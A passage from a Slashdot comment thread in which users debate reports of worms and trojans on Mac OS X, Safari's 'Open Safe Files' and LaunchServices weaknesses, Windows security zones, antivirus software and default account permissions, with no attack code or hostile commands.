    2. Modify LaunchServices to try and figure out when an application is being launched on an "unsafe" document, and ask the user if they really want to do this (Apple's 'fix' for the original hole, which has already failed twice).

    3. Maintain a list of locations that are "safe" and "unsafe", and only allow dangerous actions based on the location (Microsoft's Security Zones).

    So far Apple's tried two of these, let's hope they don't try the third.

    * Exacerbated by two other holes: making "Open Safe Files" the default, and considering archives to be "safe" files.
  72. There's a much simpler explanation by FluffyWithTeeth · · Score: 1
    Now, everyone knows that the mafia run most of the money based virus stuff.

    What they don't know is that the mafia run Macs with OSX ;) Obviously, there are standing orders not to allow viruses for said systems, so as to not inconvenience the bosses.

  73. Startup requires admin password by Anonymous Coward · · Score: 0

    Last time I checked setting up startup item required admin password.

  74. Bah, Humbug, Bad Link... by argent · · Score: 1
  75. typos oopz by jackjeff · · Score: 1

    There are a few, but these two in particular are very bad:

    "Newer machines can only execute new code from emulation called Rosetta" = "Newer machines can only execute new code or old code through an emulation engine called Rosetta"

    "or use techniques to lure the user to do that, and as long as it does not try to access a virus." = "or use techniques to lure the user to do that, and as long as it does not try to access low level features a virus would need."

  76. Common hdw platform an increased risk? by ehud42 · · Score: 1

    Now that Apple is using Intel processors, does it improve the cost/benefit ratio for criminals? The argument for Apple has been not that they are better built (they may be - not trolling), but that there are fewer of them, therefore not worth the effort of writing a seperate worm/virus for. Now that they use the same hardware as the more popular Windows boxes, there may be reuse of common payloads. The point of entry may still be different (different weaknesses to exploit).

    --
    I'm in my right mind and I have the answer to everything!
    1. Re:Common hdw platform an increased risk? by WhiteWolf666 · · Score: 1

      No, 100% of windows exploits are software exploits, not hardware exploits. There's still no similarity between OS x86 and Windows in terms of software; really, the two environments couldn't be any less similar. There's still no binary compatibilty, just because both environments run with the same endianess is meaningless.

      OS X is still nearly unix. Windows is still just Windows.

      Plus, I don't buy the marketshare argument.
      1. Apache, of course.
      2. Notoriety. Many virus writers simply do it to become well known, or to break new terrority. From their perspective, the Mac is virgin territory; I agree that if all else were the same, we'd see a small fraction of the # of Mac viruses as Windows. But instead, we see 0. 5% marketshare is no small thing, you'd think we'd have a handfull of viruses. But there are 0 that require no user intervention.

      The hardware platform has terribly little to do with viruses/worms, otherwise we'd see common WindowsLinux viruses, especially given Linux's substantial server marketshare. But we don't; even though Windows servers are common targets for viruses.

      --
      WhiteWolf666 an exBush supporter. All you new-school,compassionate,save the children Republicans can rot in hell
  77. Re:WSJ: and the ultimate mac fanboy... by Anonymous Coward · · Score: 0

    Don't forget that the WSJ is the home of Walter Mossberg... the ultimate (corporate) Mac fanboy. I don't think that the WSJ has every published anything even remotely negative of the Mac in Walter's columns. Here is a case of a journalist trading access to the hottest products and inside interviews in exchange for only publishing positive reviews. Real reviewers that occasionally write bad things (tm) about Apple are banished from the A list of reporters invited. If you really write bad things (tm) about Apple your company can be banished and all of your firm's publications removed from Apple stores.

  78. Macs will never catch up by HermanAB · · Score: 2, Funny

    Windows is so far ahead in the malware world, there is no way that any other system will ever catch up to the hundreds of thousands of viruses, worms and trojans that is essential to the full Windows experience.

    --
    Oh well, what the hell...
  79. Ho hum by Megane · · Score: 1
    So now we've moved from "proof of concept, as long as you're stupid enough to double-click on it first", and "rootkit installed after snooping passwords" to "casing the joint".

    Wake me up when we reach the "minor outbreak" stage.

    And I still remember the good old days with Scores and CDEF and nVir.

    --
    #naabhaprzrag, #sverubfr-000, #agi-fcbafberq, negvpyr[pynff*=' negvpyr-ary-'] { qvfcynl: abar !vzcbegnag; }
  80. Is this automated? by RevDigger · · Score: 1

    I mean, the story posting? Is it a cron job?

    Like, every two weeks we see, "$ASSHAT_ANTI_VIRUS_COMPANY sez there is something not entirely unlike an OSX worm in the wild, and uh, Mac users have been lulled into a false sense of security, and uh no Mac user has ever actually seen a real virus in the wild because they're not all that popular, and um, like, we should all go buy us some Anti-Virus software."

    Stop posting PR crap, please. Don't be a PR tool.

  81. logic doesn't extrapolate by CrudPuppy · · Score: 1

    A Symantec engineer predicts a 'gradual erosion' of the idea that Macs are a safer operating system than Windows.

    this logic simply is not valid. it omits inherent differences in security between unix variants and windows.

    IF unix was only as inherently secure as windows, THEN it would have long since been thoroughly exploited BECAUSE unix has long housed some of the most mission-critical and profitable data out there (and therefore some of the most profitable data to be gained by exploiting said systems)

    --
    A year spent in artificial intelligence is enough to make one believe in God.
    1. Re:logic doesn't extrapolate by klubar · · Score: 1

      The unix/linux boxes with valuable data are generally protected by professionals with a security background (or desire). The random window boxes are consumer devices. Professionally secured window boxes (as well as Sun and Unix) are relatively safe. If average users would run as non-administrator and install patches when available their boxes would be secure.

      Also, the administrators are unlikely to download and install "cool" appliations on their Unix boxes with critical applications.

  82. Just a load of apple sauce... by Anonymous Coward · · Score: 0

    You guys must be kidding right?

    I have seen worms in apples, but Trojan horses??? Naaaa..... That's just belloni!

  83. It's the GOOD TIMES virus... by argent · · Score: 1

    If it was even primarily market share the number of worms, viruses, and other malware for Windows should have been higher through the '90s, and followed a continual upward curve against a matching downward curve for Macs. but that didn't happen... instead, after 1997 there was a sudden massive surge in Windows worms and other exploits. This surge is correlated with and caused by the introduction of what was then called "Active Desktop".

    Buffer overflows and the occasional string injection, these can be found on any browser and any OS, and can be quickly fixed without breaking working code. Social engineering attacks, these used to be the majority of worms... before Active Desktop if you were savvy to them keeping your eyes open was pretty much enough. Trojan horses, viruses hiding in innocent downloads, they became increasingly rare as the Web meant that people weren't passing shareware around on BBSes and maintaining "upload quotas" to keep their downloads working. Peer-to-peer brings that kind of thing back, but it's no longer the main distribution mechanism for shareware.

    So, really, we should have relatively fewer virus problems now. People are getting more familiar with computers, and few people are caught out more than once by a worm hiding in an email message if they have a chance to think about the attachment, if they download it and then open it in their own time.

    But something happened.

    Back in the early '90s there was this joke going around the net about a virus that was so clever it would run if you just READ an email message! Everyone knew it was a joke, because NOBODY would be so stupid as to write an email program that let you do that, or if they did they'd back out of that as quick as the "WIZARD" hole was backed out of sendmail.

    then came Active Desktop, Active X, Active Content, a web browser and an email program that both used a display technology that was designed to download and run software without user intervention. I was horrified. I didn't know exactly what was going to happen, but I expected something nasty. And boy were my expectations fulfilled. Dozens, then hundreds, then thousands of of attacks, and Microsoft didn't back it out! And it's still in there, and still used by spyware and viruses to sneak into people's machines without the user actively doing anything... at the most they may have to click a button on a dialog box that looks pretty much like the ones that come up regularly and have to be clicked away...

    The fundamental problem, the thing that makes Windows so terribly attractive to virus writers, is that it's got this big "infect me harder" capability built in to the core of the OS that you can't remove or even fully disable.

    This is so much easier than even the weaker versions of the same problem in Safari and Firefox are trivial by comparison. If the UNIX (Linux&OSX) desktop market share was 50% instead of 5% you'd still have orders of magnitude more viruses on Windows than Macs... because it's so much easier a target. Even if you turned off ALL the internal security and ran as "root" with no password, the "Security Zones" hole is so much deeper and harder to close that there's still no contest.

  84. Re:Listen to those pathetic little mac zealots... by WhiteWolf666 · · Score: 1

    Do you think that everyone else sees the same shades of "only-black" and "only-white" that you see?

    There is no such thing as "secure".

    Is there such a thing as "more secure" or "less secure"?

    Or do you earnestly believe that Windows = OS X = Linux = OpenBSD in terms of security?

    Or will you parrot the same argument that marketshare=exploits?

    Just curious, I like to understand how the mad man's mind works.

    --
    WhiteWolf666 an exBush supporter. All you new-school,compassionate,save the children Republicans can rot in hell
  85. You don't have to be 100% immune. by khasim · · Score: 1

    The upper limit of "security" is human stupidity. So you will never be 100% safe.

    But you don't have to be.

    Viruses, worms and trojans are only a problem when the infection rate is greater than the removal rate.

    If machines get cleaned faster than they get infected, the virus, worm or trojan will die.

    So the Mac's security model only has to be good enough to slow the infection rate below the removal rate.

    You might hear rumours of someone's brother's friend's girlfriend's mother getting a "virus". But the reality is that more data will be lost because of human error than because of viruses, worms or trojans.

    And that is the BEST that you can do.

    1. Re:You don't have to be 100% immune. by jedidiah · · Score: 1

      You can also try and avoid doing obviously stupid things and fix your mistakes quickly when they become apparent. They rest of us have to adapt or die. Microsoft can just lie around and have small mammals impale themselves on it's teeth.

      --
      A Pirate and a Puritan look the same on a balance sheet.
    2. Re:You don't have to be 100% immune. by petermgreen · · Score: 1

      If machines get cleaned faster than they get infected, the virus, worm or trojan will die.
      the problem is there is a core of machines that will stay infected until they get unusablly slow because thier users don't care.

      so whilst removal rate may exceed infection rate at times you will still hit a point where there is a core of infected systems you can't do anything about.

      --
      note: i'm known as plugwash most places but i screwd up registering that here somehow in the past and now can't register
  86. Re:Old security hole, shared by Windows & Fire by WhiteWolf666 · · Score: 1

    There's a better solution.

    1. Safari doesn't open ANYTHING executable, period. If it's got executable permissions, it can't be opened.

    2. The Finder should implement an icon overlay showing that a file is executable. Like the shortcut arrow on Windows, except some kind of notification that this is not an document, but is a program.

    3. The first time the system runs ANY new executable that has not been run before, it pops up a warning window: "Warning! You are trying to run . Please be aware that this is an untrusted program you are running for the first time on your system. If you weren't expecting this dialogue, or thought you were opening a document file, please press Cancel NOW!"

    Perhaps not in those words, but something similar.

    The main thing is number 2. Worms like this won't happen on Linux, because you have to mark programs as "executable", or you have to run them through your package manager. Plus, icons are specified exclusively by mime-type, not by the thing you download. Apple's .app system means you can fake out people by making a program or shell script look like a JPG or Word document, and there's no good visual que as to what is a document and what is an application.

    Providing that que will eliminate this hole for 99% of users.

    --
    WhiteWolf666 an exBush supporter. All you new-school,compassionate,save the children Republicans can rot in hell
  87. Dupe...No Digg by Anonymous Coward · · Score: 0

    Dupe...No Digg...er sorry wrong site. Still a dupe though.

  88. It's simple mathematics. by khasim · · Score: 1
    Go ahead, be smug about it. But the bottom line is that as Mac becomes more popular you're going to have idiots who are going to let thing thru simply because they don't understand what they're doing.
    So?

    This isn't about individuals. This is about the population of Mac users.

    If it is 99% impossible to get a virus, but some idiot manages to, that idiot will have to find another idiot to pass it on to.

    The 99%'s keep adding up. So there's 1% chance of finding the first idiot.

    There's only a 0.1% chance of finding the second idiot.

    0.01% of finding a third idiot. 0.001% of finding the next, etc.

    Meanwhile, there is a 0.001% chance of your hard drive failing. So, mathematically, you will lose data because your harddrive crashed BEFORE you will be infected with a virus.

    You're more at risk of losing your data because your house burned down.
    1. Re:It's simple mathematics. by toddestan · · Score: 1

      That's some strange math. If idiot 1 manages to get a virus on his Mac, it'll be because his system was vulnerable to attack. Now, he could be running some bizarre combination of software or something, but chances are he'll be running a pretty plain-jane MacOS install (the people who are most affected by malware are the less computer savvy ones, who also tend to be the ones who don't customize their installs much). So now idiot 1 has a virus that will attack a pretty normal OSX install. So the chances of him finding idiot 2 is going to be more like 99%. And so on.

  89. Pity Apple hasn't been paying more attention... by argent · · Score: 1

    Apple had the advantage of seeing what was already happening to Windows when they made their decisions about how OS X would be designed, plus the system it was derived from was pretty robust to begin with.

    It's a pity Apple hasn't been paying more attention.

    Two years ago, Apple got bit by Safari's blind trust of LaunchServices, at the same time Microsoft got hit by a hole in almost the same application on Windows. Instead of going "oh, maybe Safari shouldn't use the same database for finding helpers as desktop applications do", they went "oh, maybe the helper app database should try and guess if it's being used by an exploit".

    That's the same kind of decision Microsoft made in the '90s when they came up with "Active Content" and "Security Zones", and it didn't work for them then. Microsoft isn't likely to back out of that, but, damn, Apple should have noticed what a big blunder that was.

    At least they should have backed out of it the first time it came up.

  90. So Linux is in third place now?! by Anonymous Coward · · Score: 0

    I swear, that if a virus or trojan ever spread like wildfire on Linux boxes (come at me, all you boxen guys), that will truly be the year that Linux taketh over the desktop.

  91. Here's the real question: by ZombieRoboNinja · · Score: 1

    Am I finally gonna have to shell out for an antivirus program for my PowerBook?

    I've been holding off so far because there's isn't anything critical on there, and because Macs haven't been hit by any serious viruses. But if I start seeing real, dangerous, honest-to-God in-the-wild viruses that DON'T require me to be an idiot and type in my password to install, the time of innocence is passed.

    Of course, Windows computers are still far worse in this regard. But once the "annoyance threshold" of buying/installing an antivirus program is crossed, a big advantage to Mac convenience is lost. And for most Joe Sixpack types, I'd guess that convenience is a bigger concern than security when it comes to viruses and virus-protection.

    1. Re:Here's the real question: by WhiteWolf666 · · Score: 1

      Are you worried? I mean, really, really worried?

      If so, go here: http://www.clamxav.com/

      ClamAV is a well-known opensource antivirus project. At the moment, all it will really do for you is wipe out Windows viruses that somehow end up in your inbox, or on your SMB shares, or on removable media. But if an OS X virus/worm comes out, ClamAV will add it to its signatures.

      --
      WhiteWolf666 an exBush supporter. All you new-school,compassionate,save the children Republicans can rot in hell
  92. What is an antivirus anyways? by palad1 · · Score: 1
    Installing antivirus software on a Mac is worse than useless. Should a virus ever come along which can get past both MacOS security and simple user awareness, currently-existing anitvirus software won't be ready for it anyway.

    That got me thinking, what is an antivirus anyways?

    1. A software that prevents other softwares from being abused
    2. A software that pulls plugins on a regular basis from a constantly updated repository

    So, basically, using an antivirus makes sense if its plugins repository (2) is updated faster than abused softwares are (1).

    Given Apple's track record regarding security patches being applied on my machine before even reading about said patches on /. or macrumors, I'd say I'd be hard-pressed to find an antivirus dealer that can roll out patches to Apple's app faster than Apple can. I do think now that the antivirus model does makes sense in the Microsoft world, but doesn't really make sense on a Mac, until Apple stops being proactive (yeah buzzword!) about security fixes.

    One exception: a fresh OSX install exposed on the net would be an easy target. Apple should include a post-setup stage where all services are deactivated and the firewall brought up while all security patches are installed (or make the user sign with its own blood a "Don't update this machine, I really know what I may be exposed to and want to test anyway". That would be a tad paranoïac, but...

    1. Re:What is an antivirus anyways? by NatasRevol · · Score: 1

      No services are turned on by default when installing Mac OS X client. Only ssh is even turned on by default for OS X server.

      I don't think that you can barely get the System Pref open to turn on services in client before the software update starts nagging you with updates.

      So, yeah, they've already done what you want.

      --
      There are two types of people in the world: Those who crave closure
    2. Re:What is an antivirus anyways? by palad1 · · Score: 1

      I can't wait 'till I have to reinstall Tigr again then ;)

  93. Just so we can keep score.. by Hits_B · · Score: 1

    We love Apple?
    We hate Microsoft?
    We still love Google, but they are starting to slip a bit?
    Linux is bestest ever and ever?
    RIAA and MPAA sux it?

  94. "Last minute" checks are a bad idea. by argent · · Score: 1

    Safari doesn't open ANYTHING executable, period.

    That's half of a solution, but it would still leave the original hole open.

    The Finder should implement an icon overlay showing that a file is executable.

    That would be useful, but it would still leave the original hole open.

    The first time the system runs ANY new executable that has not been run before, it pops up a warning window [...]

    That's a REALLY bad idea, and it would still leave the original security hole open.

    NEITHER of the other two demonstrated exploits, using URIs rather than file names, would have been prevented by this approach. In fact the second showed up after Apple implemented pretty much that approach for URIs.

    It also would not have prevented this attack, because LaunchServices didn't open the executable... the shell did, and there are variations on this attack that don't require the script used in the attack to be executable.

    As to why it's a bad idea... well, Microsoft has been trying to use the same "trying to detect whether an attack is underway at the last minute" approach since 1997. All it's done is teach people that the system comes up with stupid dialogs on a regular basis, so you just gotta approve them and go on if you want to keep working.

    I've been supporting 150-400 people on Windows for over a decade now, and I've regularly had people come up to me, the same people... over and over again... telling me that they'd clicked on the wrong button in a dialog box and gotten infected. false positives from these kinds of last-minute checks are always going to be so much more numerous than valid alarms that all you're doing is adding noise to the user experience.

    The right solution is to keep the attack at arms length and let the user at his own time make the decision. Popping up a routine and routinely approved dialog isn't giving the user time to do the right thing, it's encouraging a snap decision and that's bad user interface design.

    1. Turn off "Open Safe Files After Downloading" by default.
    2. Create a separate database of "Safe Applications". ONLY use these from web pages viewed in Safari or any other document from applications that deal with untrusted documents.
    3. Don't put any kind of installer, disk image mounter, or archive extractor in that database.

    But of these three, #2 is the most important.

  95. This is the fault of the consumer by frostilicus2 · · Score: 1

    Although Apple is largely responsible for causing these security flaws, it is hardly something that can be avoided in a modern consumer oriented OS such as Mac OS X. Despite the fact that it inherits a large chunk of its code base from the relatively mature FreeBSD (as well as being descended from NeXTSTEP), Apple have added a vast amount of entirely new code to the system, purely because of the demands of the consumer, and as a result in terms of a general user experience (as in regular user stuff - no flaimbait intended) I believe that Mac OS X has surpassed the experience currently possible with *BSD/Linux.

    However, in doing so it has introduced a vast amount of new code:

    -Spotlight
    -Aqua
    -WebKit
    -Quicktime
    et al.

    All of these add in functionality and usability, but lots of new code means lots of room for error. No human can develop 100% bug free code when introducing new ideas with great speed. (As anyone using a cutting edge Linux kernal knows).
    Apple could introduce an OpenBSD style audit (Rumour suggests that they don't even use automated checking for buffer overruns!), but the pace of development would suffer and Apple needs to be competitive with the overal rate of development of Windows if it will have any great success in the consumer market.

    This is a natural consequence of rapid development.

    If we want new features we will get new bugs and, to be honest, I'm surprised that the overall negative impact of such a strategy hasn't been even greater for Apple. But if there is any time to change their strategy, now is the time.

    --
    Nothing sucks like a Vax, nothing blows like a PowerMac G4
  96. but its unix by Soviet+Assassin · · Score: 1
    So, if OS X has a unix backend, whats the worst that could happen, a single user account gets hosed. I mean seriously, whats the big deal.

    So someone downloads a virus, as long as theyre not running as root/admin then they can just del/readd user account... wow, problem solved, unless i missed something here?

    --
    Menya zovut Shnur :P
  97. My favorite line: by Jeff+DeMaagd · · Score: 1

    these new security threats are no more threatening that a paraplegic kitten.

    To me, that one is worth more than the rest of the Wired web site. Sadly, to me, Wired seems to be made up of noobs and wannabes that I really don't give them much credit. Their annual "vaporware" artcles use a very narrow definition of vaporware, generally most products they declare to be vapor end up arriving with in a year of such declaration.

    Back when the DeCSS program got media notice, Wired posted an article suggesting that we should all give up our DVD drives so Lucas would release his Star Wars Trilogy onto DVD. I think I emailed them a rebuttal of about fifteen factual and logical errors in that one article.

  98. The IMPORTANT news by jdbartlett · · Score: 1

    The important news in this slashdot was completely overlooked. We've already heard about the bugs, but here's what's really important: Apple's response to the recent problems:

    "Apple takes security very seriously. We're working on a fix so that this doesn't become something that could affect customers. Apple always advises Mac users to only accept files from vendors and Web sites that they know and trust."

    If I recall correctly, it took Microsoft 8 days to release a patch for the WMF bug after it was discovered. In those 8 days, many computers were affected, but still, 8 days is impressive. Let's see how long it takes Apple...

  99. Windows by thesnarky1 · · Score: 1

    Actually, though I still dislike Windows, it is not hard to use good common sense and secure your Windows machine. I had my box behind two firewalls (one software, one hardware), and when I wasn't using the Internet, I turned it off. This box stayed virus free for a full semester. At the end of the semester, I reformatted for spring cleaning, but I'm sure it could have gone longer. I imagine the same could go for MacOS, and definately gopes for *nix.

    1. Re:Windows by Anonymous Coward · · Score: 0

      > Actually, though I still dislike Windows, it is not hard to use good common sense and secure your Windows machine. I had my box behind two firewalls (one software, one hardware), and when I wasn't using the Internet, I turned it off. This box stayed virus free for a full semester. At the end of the semester, I reformatted for spring cleaning, but I'm sure it could have gone longer. I imagine the same could go for MacOS, and definately gopes for *nix.

      "reformatted for spring cleaning"....ack..gagh..brrrr. The rest of your post makes sense, but that part DEFINITELY doesn't apply to OS X or *nixes.

  100. This is an OS vulnerability. by argent · · Score: 1

    there are OS vulnerabilities and application vulnerabilities.

    And this is an OS vulnerability. On Mac OS X, LaunchServices is an OS component. It's the normal way to launch GUI applications, including helper applications from web browsers, like the shell in UNIX is the normal way to run command line applications. In UNIX, though, applications that have security concerns don't (or shouldn't ... you do see apps breaking this rule from time to time) call the shell to run applications... they fork() and exec() the desired application directly... because the shell's behaviour isn't controllable or fully predictable.

    LaunchServices has many of the same problems. UNFORTUNATELY, there's no general "safe" way to open documents on OS X. It's possible to securely open applications if you know the right application, but it's more complex than just fork/exec, and you have to deal with the difference between old-style Carbon apps and Cocoa appdirs... so Safari and other programs use LaunchServices.

    The lack of a "secure applications only" equivalent to LaunchServices is an OS vulnerability. One that must be fixed (alas, Apple didn't fix it the last two times around).

  101. Works both ways... by Shanep · · Score: 2, Funny

    Symantec speaking baddly of Macs should work for them both ways. Prevent people from switching away from the arch they sell most product for AND frighten Mac users into buying their crap.

    They will only be able to demonize Mac's for so long, until people realise that they are harder to exploit on a large scale because they come with less insane defaults.

    BTW, if you really REALLY want to fuck up your Mac install... install some Symantec products. A serious downgrade.

    --
    War crimes, torture, lies, illegal spying... Would someone give Bush a blowjob, already, so he can be impeached?
  102. The trick is not being found out... by TCQuad · · Score: 1

    before it is found

    The point of the grand-parent was that the primary use of the worms/Trojans/virus is for commercial purposes, not diabolical purposes (grand destruction of data accompanied by an evil laugh and stroking of the handle-bar mustache). For the infiltration to succeed, the malware needs to be slow and quiet in its attempt to proliferate. "Send to all" viruses are immediately identifiable by the amount of traffic they generate (e.g. Beagle and variants).

    Therefore, the main resource that a zero-day exploit utilizes (stealth and time before patching) are mitigated by the fact that some of the e-mails are sent to dead ends. Processing power, bandwidth, etc. are all incidental as long as they're not limiting.

  103. That's All We Need by courtarro · · Score: 1
    "Computer 'Worms' Turn on Macs"

    Think of the electricity usage!

    1. Re:That's All We Need by MacColossus · · Score: 1

      I didn't know macs could be aroused. What is so sensual about worms anyway?

  104. This is Apple's fault. by argent · · Score: 1

    Although Apple is largely responsible for causing these security flaws, it is hardly something that can be avoided in a modern consumer oriented OS such as Mac OS X.

    Yes, it bloody well can.

    A key part of this attack should have been closed almost two years ago but Apple 'fixed' the wrong thing.

    And they knows there's a problem with LaunchServices, because in Tiger they allow you to override the types of files Safari considers "safe"... unfortunately they still use the LaunchServices database which leaves the "injection" problem intact.

    So... Apple can fix these problems. Secure approaches are well known, and have been known for longer than Apple has existed as a company, and they know the problems exist. Why do they leave this hole open? I don't know, possibly because Microsoft does?

  105. Not immune...ignored.. by Anonymous Coward · · Score: 0

    Please. MACs were NEVER immnue. They were just ignored because only 1% of the populace had them. So welcome to reality - when you are WORTH being a target you will BECOME a target.

  106. A/V software can make things worse... by argent · · Score: 1

    How many Mac users today run anti-virus software?

    The naive ones.

    So far the only actual damage I'm aware of caused by any of these trojan-horse worms on OS X has been caused by antivirus software incorrectly identifying uninfected files as them.

    Similarly, the only cases I know of where malware has actually caused data-loss on Palms or Pocket PCs is where anti-virus software itself caused a problem or led to an overreaction after a false positive.

    The most effective anti-virus software we've used on Windows has been Netscape. And we've lost more man-hours to problems caused by AV software than to trojan horses that people using Netscape have been convinced to download and open. IE is a different kettle of security holes, of course...

  107. Bad for Mac, worse for PCs by Vernalex · · Score: 0

    I would have to agree about Symantec software. It is bad for PCs, as well as for Macs, and I don't see it getting better anytime soon.

    It is my belief, although I have no proof of this other than the software itself, that Symantec does not employ programmers. They seem to have become a behemoth of a company much like EA Games has become in the video game arena. My guess is that they retain a code base for their products and they pay consulting firms, perhaps located in India and/or China, to implement features and to create the next version. I feel that they have team leaders that come up with possible new features and coordinate tasks with consulting firms, but it seems fairly obvious that they shouldn't be considered a programming company.

    I believe the software gets worse and worse with every release. It is a small deal to write a virus scanner, and it should be a simple task to write a virus scanner that runs efficiently. But, instead the program consumes many times for RAM than it should, eats up CPU cycles, has a horrible front-end (and an even worse one for home users), and a complicated support structure. The newest release of Corporate 10 is even worse with the implementation of anti-spyware. It has come to a point that Symantec, even on the PC, is a worse threat than even the malware.

    Symantec buys up products from various products and then stamps their name on it. They take control of the project with little understanding of the internals and then it seems they outsource the work for it, which only compounds the problem. Heck, the only product I actually like now is Ghost and that was bought from Binary Research.

    And the Norton Internet Security suites are even more evil. The number of times that the NIS has corrupted a computer is beyond counting...

    So, from the quality of the work given such a simple concept it should be obvious that Symantec is disjointed and needs major fixing.

    I miss the old DOS F-Prot scanner that bulletin board services used because it was small, fast and simple, and it was running on only a handful of MHz. This scanner is now free, and I still use it from time to time, but it is horrible to see how poor software quality has become after all these years.

    --
    "The optimist proclaims that we live in the best of all possible worlds, and the pessimist fears this is true." --James
  108. A band-aid isn't a fix. by argent · · Score: 1

    Well, it's been almost two years and Apple's still sitting on the fix for the LaunchServices problems.

    But then Microsoft's going for TEN years of not fixing their corresponding (and much more serious and harder to fix) design flaw, so Apple's not doing so bad.

  109. No _holes_ found through exploits in the wild. by argent · · Score: 1

    Then a few are found when they are exploited in the wild by hackers.

    As far as I know the only exploits in the wild involving OS X have been social engineering attacks... trojan horses convincing people to execute programs. These aren't security holes.

    There are a few security holes that Apple has been reluctant to fix, maybe this time they'll be convinced to bite the bullet before someone DOES create an automated worm with them.

    1. Re:No _holes_ found through exploits in the wild. by 99BottlesOfBeerInMyF · · Score: 1

      As far as I know the only exploits in the wild involving OS X have been social engineering attacks... trojan horses convincing people to execute programs. These aren't security holes.

      Actually, I disagree with this one. An installer that configures an admin user and does not prompt the user to create a regular user account is a security hole. Default permissions for new applications that permit them to modify existing applications without warning are a security hole. Of course since these security holes exist as a matter of course in pretty much all OS's (maybe not bastille linux, or some other rare secure OS variant) so they are rarely looked upon as such. I see your point though. They are not holes as many people would think of them and not in the same way as one would think of a Windows security hole.

    2. Re:No _holes_ found through exploits in the wild. by argent · · Score: 1

      An installer that configures an admin user and does not prompt the user to create a regular user account is a security hole.

      The Mac OS X "admin" user is a regular user account, it's nothing like "Administrator" on Windows or "root" on UNIX. Unless you SU to a real admin account (which is what you're doing when you type in your password to a security dialog) the OS doesn't give you any more rights than any other user.

      Default permissions for new applications that permit them to modify existing applications without warning are a security hole.

      The default permissions for new applications give them no more rights than the user running them.

      If the OS was attempting to provide mandatory access control rather than discretionary access control, these would be security holes. But as you noted, MAC is vanishingly rare, and there's a good reason for that.

    3. Re:No _holes_ found through exploits in the wild. by 99BottlesOfBeerInMyF · · Score: 1

      The Mac OS X "admin" user is a regular user account, it's nothing like "Administrator" on Windows or "root" on UNIX. Unless you SU to a real admin account (which is what you're doing when you type in your password to a security dialog) the OS doesn't give you any more rights than any other user.

      You are misinformed. The first account you create is an administrator. It can do a number of things without being prompted for a password that regular users cannot. This includes writing to the global Applications and Library folders, which one of the recent pieces of malware (Leap_A) takes advantage of. This means most users(who are admins) will not be prompted for a password to say modify or overwrite iTunes.

      The default permissions for new applications give them no more rights than the user running them.

      Which are far too many. A user can obviously read their own address book, buddy list, send e-mail, send IMs, transfer files, access the internet, or delete everything in their user directory. That does not mean a "game" you download from the internet should be granted these privileges by default. New applications should placed in a jail or VM and only granted any of the above privileges after the user is asked. Most malware these days requires no human intervention, but eventually that may change. When trojans become the most common type of attack users will need more control and it is better to build it now and get it well tested, than to wait until it is a really big problem and companies have decided to solve it in a less useful way (think MS controlled white-list of programs with accompanying tollbooth fee).

    4. Re:No _holes_ found through exploits in the wild. by argent · · Score: 1

      The first account you create is an administrator. It can do a number of things without being prompted for a password that regular users cannot. This includes writing to the global Applications and Library folders, which one of the recent pieces of malware (Leap_A) takes advantage of

      1. chmod -R g-w /Applications; ...

      This isn't an "Administrator" problem, this is a "default permissions are too wide open" problem.

      2. That's not as significant a problem as it seems, because there's plenty of places an application without write access to /Applications or /Library can hide.

      That does not mean a "game" you download from the internet should be granted these privileges by default. New applications should placed in a jail or VM and only granted any of the above privileges after the user is asked.

      This is the same "last minute" security that Microsoft has attempted to use for years and failed miserably at. The main thing it does is condition people that when they do stuff on their computer, it brings up annoying dialog prompts all the time, and you need to approve stuff. These "false positives" on Windows happen far too often, and I can't tell you the number of times I've had to repair or re-image somone's computer because they'd automatically clicked "yes" by reflex.

      And, in any case, this wouldn't have helped prevent ANY of the three failures of Safari's use of LaunchServices, because none of these attacks involved new applications. The place to prevent automatic attacks is where they're being allowed to start: in "Open Safe Files", in Microsoft's "Active Content" and "Security Zones", in CGI scripts calling system() or passing unescaped strings to SQL. Create safe mechanisms for applications to use with untrusted content and reduce the problem to a human education one.

      Because before ActiveX that's what it was, and malware was a fraction of the problem it became even a year later.

      When trojans become the most common type of attack users will need more control

      When trojans were almost the only type of attack users needed self-control, and the way to create it isn't to bombard them with pointless fire drills... it's to shut down ANY mechanism designed to be "helpful" by auto-executing anything except plugins and helpers designed for security through a secure path.

      Things like jails and improved permissions are useful, but by the time they're necessary the battles more than half lost.

    5. Re:No _holes_ found through exploits in the wild. by 99BottlesOfBeerInMyF · · Score: 1

      This isn't an "Administrator" problem, this is a "default permissions are too wide open" problem.

      Call it what you want. The default user account most users will use has too many permissions. Obviously these can be changed, but that does not help the problem as anyone savvy enough to change their permissions is not likely to be using the default admin account for normal use anyway.

      That's not as significant a problem as it seems, because there's plenty of places an application without write access to /Applications or /Library can hide.

      The problem isn't that they can hide, it is that they can overwrite/modify commonly used and trusted applications and user settings.

      This is the same "last minute" security that Microsoft has attempted to use for years and failed miserably at. The main thing it does is condition people that when they do stuff on their computer, it brings up annoying dialog prompts all the time, and you need to approve stuff. These "false positives" on Windows happen far too often, and I can't tell you the number of times I've had to repair or re-image somone's computer because they'd automatically clicked "yes" by reflex.

      The Windows implementation is abysmal and stupid, that does not mean they all have to be. Windows users click "OK" all the time because they are conditioned to. Apple's HIG and most anyone with a clue will tell you that you need to provide buttons that are actions, thus the user has to read them and can't be conditioned to act on reflex. They also need to build dev tools and encourage coding practices that encourage properly behaving applications. You don't throw up a dialogue that says, "CoolGame is connecting on port 22 (OK/Cancel)." You display something like, "The program 'CoolGame' wants to access the internet in a way usually used to log into the command line (Stop it from connecting to the internet)(Allow it to connect to the internet)(Open Advanced Config Options)."

      this wouldn't have helped prevent ANY of the three failures of Safari's use of LaunchServices, because none of these attacks involved new applications.

      What? They all involved new executables launching. Just because Safari launched them (in two cases) or a user manually launched it does not matter. All new executables should live in a jail unless an expert user goes out of their way to install them outside of one.

      When trojans were almost the only type of attack users needed self-control, and the way to create it isn't to bombard them with pointless fire drills... it's to shut down ANY mechanism designed to be "helpful" by auto-executing anything except plugins and helpers designed for security through a secure path.

      No the way is to give them the control and information they need. If the average user wants to play a game they need the ability to do that without gambling that it won't compromise their system. Having to choose between completely trusting an application or not using it is not acceptable to users and that is the choice most users have today.

      Things like jails and improved permissions are useful, but by the time they're necessary the battles more than half lost.

      People will download and run executables for one reason or another. They need good jails/VMs/ACLs so that they can do so safely and they need good default restrictions on those so that exceptions become obvious. This could result in tons of unnecessary warning is developers insist on asking for more permissions than they should have (and some will) but those application developers will lose out in the market because users will find clicking through and adding permissions to be a pain and because they will learn to not trust those applications. If your program phones home, users will know. If it installs hidden files in crazy places, they'll know. If it patches the kernel to add a copy protection mechanism, they'll know.

      Getting buy in from developers is a hurdle, but

